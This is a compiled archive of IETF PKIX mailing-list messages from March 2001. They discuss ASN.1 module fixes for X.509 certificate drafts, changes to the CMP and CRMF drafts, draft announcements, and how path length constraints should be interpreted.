>       onlyContainsCACerts     [2] BOOLEAN DEFAULT FALSE,
>       onlySomeReasons         [3] ReasonFlags OPTIONAL,
>       indirectCRL             [4] BOOLEAN DEFAULT FALSE }
> 
>     DistributionPointName ::= CHOICE {
>          fullName                [0]     GeneralNames,
>          nameRelativeToCRLIssuer [1]     RelativeDistinguishedName }
> 
> This matches the definitions from X.509 (4th Edition), but it 
> is still a 
> very strange use of CHOICE.  It relies on a little-known ASN.1 rule:
> 
>          The tagging construct specifies explicit tagging if 
> the "Tag Type"
>          alternative is used and the value of "TagDefault" 
> for the module is
>          "IMPLICIT TAGS", but the type defined by "Type" is a 
> choice type
>          or an any type.
> 
> The same compiler as discussed above, does not internally 
> implement this 
> rule.  The programmer must insert the "EXPLICIT."  Again, my 
> reaction is 
> that anyone who uses a tool with such shortcomings must edit 
> the module to 
> overcome them.  I think we should make sure that the example 
> certificate 
> includes these cases to help implementors catch mistakes early in the 
> development process.
> 
> I think that implementors would be well served if the specification 
> included the binary certificates were made available.  I do 
> not think that 
> we should make the document any bigger.  Perhaps we can 
> develop a companion 
> document that contains several sample certification paths 
> with CRLs to aid 
> developers.  Of course, we need to carefully consider the 
> validity periods 
> for the sample certificates to be useful to future 
> developers, but that is 
> a topic for another thread.
> 
> Now to Jim Schaad's message.
> 
> >3.  Section 4.2.2.2 - Recommend moving the defintion of 
> id-ad-caRepository
> >to implicit ASN.1 module since that is where accessLocation 
> is located.
> 
> Good idea.  I do not think that moving the OID definition will impact 
> anyone that already did an implementation.
> 
> >5.  ASN Module A.1:  Do not have a new module OID for this.
> 
> A new OID for the modules was assigned quite some time ago.  
> It should have 
> been included in this draft.
> 
>          id-mod-pkix1-explicit        OBJECT IDENTIFIER ::= { 
> id-mod 18 }
> 
> >6.  A.1:
> >                    X520SerialNumber        PrintableString (SIZE 
> > (1..ub-serial-number))
> >       replace with
> >                    X520SerialNumber        ::= 
> PrintableString (SIZE 
> > (1..ub-serial-number))
> 
> Agree; the assignment operator (::=) is missing.
> 
> >7. Section A.1
> >                    id-domainComponent      AttributeType ::= 
> > id-domainComponent
> >      replace with
> >                    id-domainComponent      AttributeType ::= 
> > id-domainComponent }
> 
> I do not think that this is the correct change.  The document says:
> 
>          id-domainComponent     OBJECT IDENTIFIER  ::=
>                                              { 0 9 2342 
> 19200300 100 1 25 }
> 
>          id-domainComponent      AttributeType ::= id-domainComponent
>          domainComponent ::=     IA5String
> 
> I think the middle statement should be deleted altogether.  
> Also, the last 
> line must begin with a capital letter ("domainComponent" becomes 
> "DomainComponent").
> 
> >8.  ASN Module A.2:  Do not have a new module OID for this.
> 
> A new OID for the modules was assigned quite some time ago.  
> It should have 
> been included in this draft.
> 
>          id-mod-pkix1-implicit        OBJECT IDENTIFIER ::= { 
> id-mod 19 }
> 
> >9.  Section A.2
> >                 anyPolicy OBJECT IDENTIFIER ::= 
> > {id-ce-certificate-policies 0}
> >       replace with
> >                 anyPolicy OBJECT IDENTIFIER ::= 
> {id-ce-certificatePolicies 0}
> >       (or fix the previous line)
> 
> Agree.  X.509 (the 4th Edition) uses 
> id-ce-certificatePolicies, and we 
> should too.
> 
> >----------------   Algorithm Draft
> >
> >ASN Module:
> >Fix:
> >    PKIX1Algorithms88 { tbd }
> 
> I assigned id-mod-pkix1-algorithms a long time ago.  It 
> should have been 
> put into this draft.
> 
>          id-mod-pkix1-algorithms      OBJECT IDENTIFIER ::= { 
> id-mod 17 }
> 
> >Replace
> >             cofactor  INTEGER  OPTIONAL,         -- The 
> integer h = #E(Fq)/n
> >With
> >             cofactor  INTEGER  OPTIONAL          -- The 
> integer h = #E(Fq)/n
> 
> My preference would be to replace the comma with "}" and 
> delete the next 
> line.  This is just taste.  The comma needs to go.
> 
> >------------------ Random
> >
> >part1-algs.asn(3) : warning XXXXX: Module PKIX1Algorithms88 
> does not have an
> >OID assigned to it
> >
> >  --- single name would be nice but not necessary.  In the 
> case of pkcs-9
> >however there should be a harmonization plan.
> >
> >rfc2630.asn(254) : warning XXXXX: Arc naming collision 
> between x9algorithm
> >and x9cm
> >         Conflicts with what's in Algorithms draft
> >rfc2630.asn(262) : warning XXXXX: Oid value assigned to 
> multiple symbols:
> >'dh-public-number' and 'dhpublicnumber'
> >         Conflicts with what's in Algorithms draft
> >rfc2634.asn(204) : warning XXXXX: Arc naming collision 
> between pkcs-9 and
> >pkcs9
> >         Conflicts with what's in Part1 A.1
> 
> I do not see a problem with adopting the names from RFC 2630 
> and RFC 2634.
> 
> Russ
> 
> 


Received: from mail.spyrus.com (mail.spyrus.com [207.212.34.20]) by above.proper.com (8.9.3/8.9.3) with ESMTP id HAA11979 for <[e-mail]>; Fri, 2 Mar 2001 07:25:12 -0800 (PST)
Received: from RHOUSLEY-PC.spyrus.com ([209.172.119.211]) by mail.spyrus.com (8.9.3/8.9.3) with ESMTP id HAA00310; Fri, 2 Mar 2001 07:24:21 -0800 (PST)
Message-Id: <[e-mail]>
X-Sender: [e-mail] (Unverified)
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Thu, 01 Mar 2001 17:51:05 -0500
To: [e-mail]
From: Russ Housley <[e-mail]>
Subject: Re: Part1 last call comments
In-Reply-To: <001701c09db5$c35eb860$[e-mail]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

All of these comments deal with the ASN.1 modules in 
draft-ietf-pkix-new-part1-04.txt and 
draft-ietf-pkix-ipki-pkalgs-01.txt.  Jim Schaad posted some comments 
earlier, but I do not completely agree with his resolutions.  I will 
address those second.  First, I want to raise a two things that were not 
raised in Jim's message.

  1.  AuthorityKeyIdentifier is defined as:

    AuthorityKeyIdentifier ::= SEQUENCE {
       keyIdentifier             [0] KeyIdentifier           OPTIONAL,
       authorityCertIssuer       [1] GeneralNames            OPTIONAL,
       authorityCertSerialNumber [2] CertificateSerialNumber OPTIONAL  }

    KeyIdentifier ::= OCTET STRING

There is nothing wrong with this ASN.1; however, at least one compiler 
wants either "EXPLICIT" or "IMPLICIT" to be inserted before 
CertificateSerialNumber.  Obviously, only one of these is correct.  The 
problem in the compiler seems to come from the fact that 
CertificateSerialNumber is imported from the explicit module.

The same compiler would like "EXPLICIT" or "IMPLICIT" to be inserted before 
uses of ORAddress, Name, DirectoryString, and RelativeDistinguishedName.

A programmer must know a fair amount about ASN.1 to know the correct type 
of tagging in each case.  To avoid implementation errors from anyone that 
might use that tool, should we make the insertion?  My initial reaction is 
that anyone who uses a tool with such shortcomings must edit the module to 
overcome them.  I think that preserving alignment with X.509 is 
important.  However, I think we should make sure that the example 
certificate includes these cases to help implementors catch mistakes early 
in the development process.

2.  The implicit module (section A.2) contains the following:

    DistributionPoint ::= SEQUENCE {
         distributionPoint       [0]     DistributionPointName OPTIONAL,
         reasons                 [1]     ReasonFlags OPTIONAL,
         cRLIssuer               [2]     GeneralNames OPTIONAL }

    IssuingDistributionPoint ::= SEQUENCE {
      distributionPoint       [0] DistributionPointName OPTIONAL,
      onlyContainsUserCerts   [1] BOOLEAN DEFAULT FALSE,
      onlyContainsCACerts     [2] BOOLEAN DEFAULT FALSE,
      onlySomeReasons         [3] ReasonFlags OPTIONAL,
      indirectCRL             [4] BOOLEAN DEFAULT FALSE }

    DistributionPointName ::= CHOICE {
         fullName                [0]     GeneralNames,
         nameRelativeToCRLIssuer [1]     RelativeDistinguishedName }

This matches the definitions from X.509 (4th Edition), but it is still a 
very strange use of CHOICE.  It relies on a little-known ASN.1 rule:

         The tagging construct specifies explicit tagging if the "Tag Type"
         alternative is used and the value of "TagDefault" for the module is
         "IMPLICIT TAGS", but the type defined by "Type" is a choice type
         or an any type.

The same compiler as discussed above, does not internally implement this 
rule.  The programmer must insert the "EXPLICIT."  Again, my reaction is 
that anyone who uses a tool with such shortcomings must edit the module to 
overcome them.  I think we should make sure that the example certificate 
includes these cases to help implementors catch mistakes early in the 
development process.

I think that implementors would be well served if the specification 
included the binary certificates were made available.  I do not think that 
we should make the document any bigger.  Perhaps we can develop a companion 
document that contains several sample certification paths with CRLs to aid 
developers.  Of course, we need to carefully consider the validity periods 
for the sample certificates to be useful to future developers, but that is 
a topic for another thread.

Now to Jim Schaad's message.

>3.  Section 4.2.2.2 - Recommend moving the defintion of id-ad-caRepository
>to implicit ASN.1 module since that is where accessLocation is located.

Good idea.  I do not think that moving the OID definition will impact 
anyone that already did an implementation.

>5.  ASN Module A.1:  Do not have a new module OID for this.

A new OID for the modules was assigned quite some time ago.  It should have 
been included in this draft.

         id-mod-pkix1-explicit        OBJECT IDENTIFIER ::= { id-mod 18 }

>6.  A.1:
>                    X520SerialNumber        PrintableString (SIZE 
> (1..ub-serial-number))
>       replace with
>                    X520SerialNumber        ::= PrintableString (SIZE 
> (1..ub-serial-number))

Agree; the assignment operator (::=) is missing.

>7. Section A.1
>                    id-domainComponent      AttributeType ::= 
> id-domainComponent
>      replace with
>                    id-domainComponent      AttributeType ::= 
> id-domainComponent }

I do not think that this is the correct change.  The document says:

         id-domainComponent     OBJECT IDENTIFIER  ::=
                                             { 0 9 2342 19200300 100 1 25 }

         id-domainComponent      AttributeType ::= id-domainComponent
         domainComponent ::=     IA5String

I think the middle statement should be deleted altogether.  Also, the last 
line must begin with a capital letter ("domainComponent" becomes 
"DomainComponent").

>8.  ASN Module A.2:  Do not have a new module OID for this.

A new OID for the modules was assigned quite some time ago.  It should have 
been included in this draft.

         id-mod-pkix1-implicit        OBJECT IDENTIFIER ::= { id-mod 19 }

>9.  Section A.2
>                 anyPolicy OBJECT IDENTIFIER ::= 
> {id-ce-certificate-policies 0}
>       replace with
>                 anyPolicy OBJECT IDENTIFIER ::= {id-ce-certificatePolicies 0}
>       (or fix the previous line)

Agree.  X.509 (the 4th Edition) uses id-ce-certificatePolicies, and we 
should too.

>----------------   Algorithm Draft
>
>ASN Module:
>Fix:
>    PKIX1Algorithms88 { tbd }

I assigned id-mod-pkix1-algorithms a long time ago.  It should have been 
put into this draft.

         id-mod-pkix1-algorithms      OBJECT IDENTIFIER ::= { id-mod 17 }

>Replace
>             cofactor  INTEGER  OPTIONAL,         -- The integer h = #E(Fq)/n
>With
>             cofactor  INTEGER  OPTIONAL          -- The integer h = #E(Fq)/n

My preference would be to replace the comma with "}" and delete the next 
line.  This is just taste.  The comma needs to go.

>------------------ Random
>
>part1-algs.asn(3) : warning XXXXX: Module PKIX1Algorithms88 does not have an
>OID assigned to it
>
>  --- single name would be nice but not necessary.  In the case of pkcs-9
>however there should be a harmonization plan.
>
>rfc2630.asn(254) : warning XXXXX: Arc naming collision between x9algorithm
>and x9cm
>         Conflicts with what's in Algorithms draft
>rfc2630.asn(262) : warning XXXXX: Oid value assigned to multiple symbols:
>'dh-public-number' and 'dhpublicnumber'
>         Conflicts with what's in Algorithms draft
>rfc2634.asn(204) : warning XXXXX: Arc naming collision between pkcs-9 and
>pkcs9
>         Conflicts with what's in Part1 A.1

I do not see a problem with adopting the names from RFC 2630 and RFC 2634.

Russ




Received: from sottmxs02.entrust.com (gatekeeper.entrust.com [204.101.128.170]) by above.proper.com (8.9.3/8.9.3) with ESMTP id HAA10787 for <[e-mail]>; Fri, 2 Mar 2001 07:10:34 -0800 (PST)
Received: by sottmxs02.entrust.com with Internet Mail Service (5.5.2650.21) id <F59CQPFX>; Fri, 2 Mar 2001 10:10:04 -0500
Message-ID: <[e-mail]>
From: Carlisle Adams <[e-mail]>
To: [e-mail]
Cc: "'[e-mail]'" <[e-mail]>
Subject: RE: I-D ACTION:draft-ietf-pkix-rfc2510bis-03.txt (and rfc2511bis- 01.txt)
Date: Fri, 2 Mar 2001 10:07:33 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0A32A.82185300"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0A32A.82185300
Content-Type: text/plain

Hi,

For those of you that are curious, 2510bis-03 and 2511bis-01 are minor
revisions to the previous drafts which, I believe, address all comments
received (both privately and on the list) in the past 3 months.  I feel that
both documents are now ready to progress.

The documents can be found at the following locations:

   http://www.ietf.org/internet-drafts/draft-ietf-pkix-rfc2510bis-03.txt
   http://www.ietf.org/internet-drafts/draft-ietf-pkix-rfc2511bis-01.txt


The changes between rfc2510bis-02 and rfc2510bis-03 are as follows:

		p.30:  added a comment on the "waiting" status regarding the
possible need for a polling mechanism in the transport layer and allowing
the possibility of polling PKIMessages in a future version of this spec.
(You might recall Magnus asking for this on the PKIX list....).

		p.33:  removed tag "[1]" from publicKeyMAC field (to align
with syntax in RFC 2511).

		p.39:  changed "OCTET STRING" to "string" in comment
regarding utf8Pairs ("OCTET STRING" was confusing to some people).

		p.63:  added a comment regarding the way in which a
requester could indicate a preference for algorithm and parameters with
respect to centrally-generated key pairs (Magnus also asked how this could
be done and I should have given him this answer, but didn't think of it at
the time...).

		p.67:  removed the position-dependence requirement for
requests in cr and kur (at least a couple of people have asked for this on
the list, including Magnus).

		p.75:  clarified what gets signed if the AltCertTemplate
control is used (someone asked for this on the list).

		p.80:  (see p.30 above).

		p.85:  (see p.39 above).

		p.86:  added the certReqId field to CertStatus (I had done
this in the body of the spec, but forgot to copy it to this appendix!).

The changes between rfc2511bis-00 and rfc2511bis-01 are as follows:

		pp.1 and 13:  changed the work affiliation for Mike Myers.

		p.10:  added a missing parenthesis in the second line of the
comment under encValue.

		p.12:  added a reference to PKCS11.

		p.16:  changed "OCTET STRING" to "string" in comment
regarding utf8Pairs ("OCTET STRING" was confusing to some people).


Carlisle.


------_=_NextPart_001_01C0A32A.82185300
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>RE: I-D ACTION:draft-ietf-pkix-rfc2510bis-03.txt (and =
rfc2511bis-01.txt)</TITLE>
</HEAD>
<BODY>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">Hi,</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">For those =
of you that are curious, 2510bis-03 and 2511bis-01 are minor revisions =
to the previous drafts which, I believe, address all comments received =
(both privately and on the list) in the past 3 months.&nbsp; I feel =
that both documents are now ready to progress.</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">The =
documents can be found at the following locations:</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">&nbsp;&nbsp;</FONT><U> <FONT COLOR=3D"#0000FF" SIZE=3D2 =
FACE=3D"Arial"><A =
HREF=3D"http://www.ietf.org/internet-drafts/draft-ietf-pkix-rfc2510bis-0=
3.txt" =
TARGET=3D"_blank">http://www.ietf.org/internet-drafts/draft-ietf-pkix-rf=
c2510bis-03.txt</A></FONT></U>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">&nbsp;&nbsp;</FONT><U> <FONT COLOR=3D"#0000FF" SIZE=3D2 =
FACE=3D"Arial"><A =
HREF=3D"http://www.ietf.org/internet-drafts/draft-ietf-pkix-rfc2511bis-0=
1.txt" =
TARGET=3D"_blank">http://www.ietf.org/internet-drafts/draft-ietf-pkix-rf=
c2511bis-01.txt</A></FONT></U>
</P>
<BR>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">The =
changes between rfc2510bis-02 and rfc2510bis-03 are as follows:</FONT>
</P>
<UL><UL>
<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">p.30:&nbsp; added a comment on the &quot;waiting&quot; status =
regarding the possible need for a polling mechanism in the transport =
layer and allowing the possibility of polling PKIMessages in a future =
version of this spec.&nbsp; (You might recall Magnus asking for this on =
the PKIX list....).</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">p.33:&nbsp; removed tag &quot;[1]&quot; from publicKeyMAC field =
(to align with syntax in RFC 2511).</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">p.39:&nbsp; changed &quot;OCTET STRING&quot; to =
&quot;string&quot; in comment regarding utf8Pairs (&quot;OCTET =
STRING&quot; was confusing to some people).</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">p.63:&nbsp; added a comment regarding the way in which a =
requester could indicate a preference for algorithm and parameters with =
respect to centrally-generated key pairs (Magnus also asked how this =
could be done and I should have given him this answer, but didn't think =
of it at the time...).</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">p.67:&nbsp; removed the position-dependence requirement for =
requests in cr and kur (at least a couple of people have asked for this =
on the list, including Magnus).</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">p.75:&nbsp; clarified what gets signed if the AltCertTemplate =
control is used (someone asked for this on the list).</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">p.80:&nbsp; (see p.30 above).</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">p.85:&nbsp; (see p.39 above).</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">p.86:&nbsp; added the certReqId field to CertStatus (I had done =
this in the body of the spec, but forgot to copy it to this =
appendix!).</FONT></P>
</UL></UL>
<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">The =
changes between rfc2511bis-00 and rfc2511bis-01 are as follows:</FONT>
</P>
<UL><UL>
<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">pp.1 and =
13:&nbsp; changed the work affiliation for Mike Myers.</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">p.10:&nbsp; added a missing parenthesis in the second line of =
the comment under encValue.</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">p.12:&nbsp; added a reference to PKCS11.</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">p.16:&nbsp; changed &quot;OCTET STRING&quot; to =
&quot;string&quot; in comment regarding utf8Pairs (&quot;OCTET =
STRING&quot; was confusing to some people).</FONT>
</P>
<BR>
</UL></UL>
<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">Carlisle.</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C0A32A.82185300--


Received: from ietf.org (odin.ietf.org [132.151.1.176]) by above.proper.com (8.9.3/8.9.3) with ESMTP id DAA24784 for <[e-mail]>; Fri, 2 Mar 2001 03:54:26 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA26314; Fri, 2 Mar 2001 06:54:25 -0500 (EST)
Message-Id: <[e-mail]>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: [e-mail]
From: [e-mail]
Reply-to: [e-mail]
Subject: I-D ACTION:draft-ietf-pkix-rfc2511bis-01.txt
Date: Fri, 02 Mar 2001 06:54:25 -0500
Sender: [e-mail]

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Public-Key Infrastructure (X.509) Working Group of the IETF.

	Title		: Internet X.509 Public Key Infrastructure Certificate 
                          Request Message Format (CRMF)
	Author(s)	: M. Myers, C. Adams, D. Solo, D. Kemp
	Filename	: draft-ietf-pkix-rfc2511bis-01.txt
	Pages		: 25
	Date		: 01-Mar-01
	
This document describes the Certificate Request Message Format
(CRMF).  This syntax is used to convey a request for a certificate to
a Certification Authority (CA) (possibly via a Registration Authority
(RA)) for the purposes of X.509 certificate production.  The request
will typically include a public key and associated registration
information.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-pkix-rfc2511bis-01.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-pkix-rfc2511bis-01.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	[e-mail].
In the body type:
	"FILE /internet-drafts/draft-ietf-pkix-rfc2511bis-01.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="[e-mail]"

Content-Type: text/plain
Content-ID:	<[e-mail]>

ENCODING mime
FILE /internet-drafts/draft-ietf-pkix-rfc2511bis-01.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-pkix-rfc2511bis-01.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<[e-mail]>

--OtherAccess--

--NextPart--




Received: from ietf.org (odin.ietf.org [132.151.1.176]) by above.proper.com (8.9.3/8.9.3) with ESMTP id DAA24768 for <[e-mail]>; Fri, 2 Mar 2001 03:54:21 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA26297; Fri, 2 Mar 2001 06:54:21 -0500 (EST)
Message-Id: <[e-mail]>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: [e-mail]
From: [e-mail]
Reply-to: [e-mail]
Subject: I-D ACTION:draft-ietf-pkix-rfc2510bis-03.txt
Date: Fri, 02 Mar 2001 06:54:20 -0500
Sender: [e-mail]

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Public-Key Infrastructure (X.509) Working Group of the IETF.

	Title		: Internet X.509 Public Key Infrastructure Certificate 
                          Management Protocols
	Author(s)	: C. Adams, S. Farrell
	Filename	: draft-ietf-pkix-rfc2510bis-03.txt
	Pages		: 89
	Date		: 01-Mar-01
	
This document describes the Internet X.509 Public Key Infrastructure
(PKI) Certificate Management Protocols. Protocol messages are defined
for all relevant aspects of certificate creation and management.
Note that 'certificate' in this document refers to an X.509v3
Certificate as defined in [COR95, X509-AM].

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-pkix-rfc2510bis-03.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-pkix-rfc2510bis-03.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	[e-mail].
In the body type:
	"FILE /internet-drafts/draft-ietf-pkix-rfc2510bis-03.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="[e-mail]"

Content-Type: text/plain
Content-ID:	<[e-mail]>

ENCODING mime
FILE /internet-drafts/draft-ietf-pkix-rfc2510bis-03.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-pkix-rfc2510bis-03.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<[e-mail]>

--OtherAccess--

--NextPart--




Received: from email.nist.gov (email.nist.gov [129.6.2.7]) by above.proper.com (8.9.3/8.9.3) with ESMTP id MAA19354 for <[e-mail]>; Thu, 1 Mar 2001 12:12:37 -0800 (PST)
Received: from krdp2 (krdp2.ncsl.nist.gov [129.6.54.107]) by email.nist.gov (8.9.3/8.9.3) with ESMTP id PAA09870 for <[e-mail]>; Thu, 1 Mar 2001 15:12:39 -0500 (EST)
Message-Id: <[e-mail]>
X-Sender: [e-mail]
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 
Date: Thu, 01 Mar 2001 15:12:33 -0500
To: [e-mail]
From: "David A. Cooper" <[e-mail]>
Subject: Re: Open Issue in Part1: path length constraints
In-Reply-To: <[e-mail]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"

At 02:27 PM 3/1/01 -0500, [e-mail] wrote:
>But why would you care about a CA's signature on an OCSP response or a CRL
>if you don't trust the signature on the EE certificate you're inquiring
>about?

It will not always be the case that an CRL or OCSP response will be signed by the same entity (e.g, CA) that signed the EE certificate of interest. It may be that a certificate is issued with a cRLDistributionPoints extension specifying that corresponding CRLs will be issued by a different entity. The issuer of the CRLs does not have to be a CA (i.e., the certificate issued to this entity is not required to contain the basicConstraints extension). So, it is possible that a relying party will accept CRLs issued by some entity even though it would not accept certificates issued by this entity.

Based on the semantics that Steve Hanna, et. al. support, a CA that relied on indirect CRLs (or OCSP responses signed by some other entity) to distribute revocation information would need to issue the CRL-issuing entity a certificate that either did not include basicConstraints or contained basicConstaints with cA=FALSE in order to avoid potential problems as a result of path length constraints. With the other semantics, the certificate issued to the CRL-issuer could include basicConstraints with cA=TRUE without causing any problems.

>I think that the alternative semantics under discussion can cause a real
>difference in behavior only if the CA is using its certificate-signing key
>for something that's not certificate-related at all - OCSP, CRL and CPS
>signatures are all uninteresting except in the context of an
>otherwise-trusted certificate signed by the CA.

I disagree. The only disagreement we have occurs when a path length constraint has been imposed and the final certificate in the path includes a basicConstraints extension with cA=TRUE. According to PKIX, the cA component of basicConstraints is only used to specify whether the certificate subject is trusted to sign certificates. The value of basicConstraints says nothing about whether the certificate subject is trusted to issue CRLs, OCSP responses or anything else other than certificates.

I would also like to note again that the current discussion is not about whether the interpretation of path length constraints should be changed. The text in RFC 2459 was not sufficiently clear and as a result there are currently some implementations that follow one set of semantics and other implementations that follow the other set.

We need to make sure that new-part1 is clear about the semantics of path length constraint. However, given that both of the possible semantics have already been implemented, we can not really make a decision on the basis that one alternative describes the "current" semantics while the other represents a "change in the semantics".

Dave





Received: from Arista.iris.com (arista.iris.com [198.112.211.42]) by above.proper.com (8.9.3/8.9.3) with ESMTP id LAA16515 for <[e-mail]>; Thu, 1 Mar 2001 11:28:06 -0800 (PST)
From: [e-mail]
Subject: Re: Open Issue in Part1: path length constraints
To: Marc Branchaud <[e-mail]>
Cc: [e-mail]
X-Mailer: Lotus Notes Release 5.0.2c  February 2, 2000
Message-ID: <[e-mail]>
Date: Thu, 1 Mar 2001 14:27:03 -0500
X-MIMETrack: Serialize by Router on Arista/Iris(Build V507_02052001 |February 5, 2001) at 03/01/2001 02:36:40 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii

But why would you care about a CA's signature on an OCSP response or a CRL
if you don't trust the signature on the EE certificate you're inquiring
about?

I think that the alternative semantics under discussion can cause a real
difference in behavior only if the CA is using its certificate-signing key
for something that's not certificate-related at all - OCSP, CRL and CPS
signatures are all uninteresting except in the context of an
otherwise-trusted certificate signed by the CA.

John





Marc Branchaud <[e-mail]>@home.x509.com on 03/01/2001 12:53:15 PM

Sent by:  [e-mail]


To:   [e-mail]
cc:
Subject:  Re: Open Issue in Part1: path length constraints



Bob Jueneman wrote:
>
> I would agree with David, that using the same key or certificate
> for both correspondence and certificate issuance would be
> extremely improbable.

How about a CA key signing OCSP responses?  Or CRLs, for that matter.
Either
are non-certificate "messages".

          Marc





Received: from home.x509.com (home.x509.com [199.175.150.4]) by above.proper.com (8.9.3/8.9.3) with ESMTP id JAA10628 for <[e-mail]>; Thu, 1 Mar 2001 09:56:42 -0800 (PST)
Received: from xcert.com (trinity.rnd.x509.com [10.8.34.28]) by home.x509.com (8.11.2/8.11.2) with ESMTP id f21Hue282921 for <[e-mail]>; Thu, 1 Mar 2001 09:56:40 -0800 (PST)
Sender: [e-mail]
Message-ID: <[e-mail]>
Date: Thu, 01 Mar 2001 09:53:15 -0800
From: Marc Branchaud <[e-mail]>
Organization: Xcert International Inc.
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.18 i686)
X-Accept-Language: en, fr
MIME-Version: 1.0
To: [e-mail]
Subject: Re: Open Issue in Part1: path length constraints
References: <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Bob Jueneman wrote:
> 
> I would agree with David, that using the same key or certificate
> for both correspondence and certificate issuance would be
> extremely improbable.

